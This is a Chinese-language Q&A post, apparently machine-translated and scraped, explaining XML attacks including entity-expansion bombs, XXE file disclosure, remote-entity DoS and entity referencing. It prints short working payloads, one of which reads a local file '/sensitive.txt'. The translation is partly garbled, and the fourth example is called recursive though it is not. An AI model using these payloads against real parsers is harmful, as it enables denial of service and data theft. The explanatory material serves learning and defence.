xml一直是面向服务的应用程序(SOA)的骨干,它在未来将是一个有用的应用程序.
由于xml容易,灵活,易于易受攻击,攻击者可以将其用于自己的目的.
像这样的一些攻击是强制解析攻击,xml外部实体(XEE)攻击,xml dos(xdos)攻击,xml炸弹.
任何人都可以详细说明这些攻击.
怎样才能在单一的系统中模拟这些攻击呢?
由于xml容易,灵活,易于易受攻击,攻击者可以将其用于自己的目的.
像这样的一些攻击是强制解析攻击,xml外部实体(XEE)攻击,xml dos(xdos)攻击,xml炸弹.
任何人都可以详细说明这些攻击.
怎样才能在单一的系统中模拟这些攻击呢?
首先,我们需要区分攻击与被利用的特征的影响.
原文链接:https://www.f2er.com/xml/292167.html> XML实体
>解析器和验证器的专有扩展
循环/递归引用
>远程访问
效果也可以
> DOS
>信息披露
我不认为这是一个“炸弹”的明确定义,但它指的是一种特别“紧凑”的攻击和“扩张”的攻击. “强制解析攻击”利用了XML模型的本质来压倒解析器.
以下示例取自XML Denial of Service Attacks and Defenses.
另外,如果你了解法语,阅读优秀的杂志“La security des web services”.
实施例1
一个炸弹使用导致DOS的实体,因为它耗尽了内存
<?xml version="1.0"?> <!DOCTYPE kaboom [ <!ENTITY a "aaaaaaaaaaaaaaaaaa..."> ]> <kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>
如果你有50’000“aaaa … aaa”和50’0000& a:& a; …& a; 200KB的有效载荷扩展到超过2GB的内存
示例2
一个实体可以用来以未经授权的方式访问另一个文件.这导致信息披露.
<?xml version="1.0"?> <!DOCTYPE letter [ <!ENTITY file SYSTEM "/sensitive.txt" > ]> <tag> &file; </tag>
实施例3
使用某种解析器访问远程资源的能力(参见http://www.ibm.com/developerworks/xml/library/x-tipgentity.html),现在看图如果文件bigfile.xml是2GB会发生什么,这可能导致一个DOS.
<?xml version="1.0"?> <!DOCTYPE letter [ <!ENTITY file SYSTEM "http://www.mysite.com/bigfile.xml" > ]> <tag> &file; </tag>
实施例4
这个递归将导致内存耗尽,可能是一个DOS.
<!ENTITY companyname "Contoso Inc."> <!ENTITY divisionname "&companyname; Web Products Division">
如果这是学校工作,那么你也应该考虑如何保护自己免受这种攻击.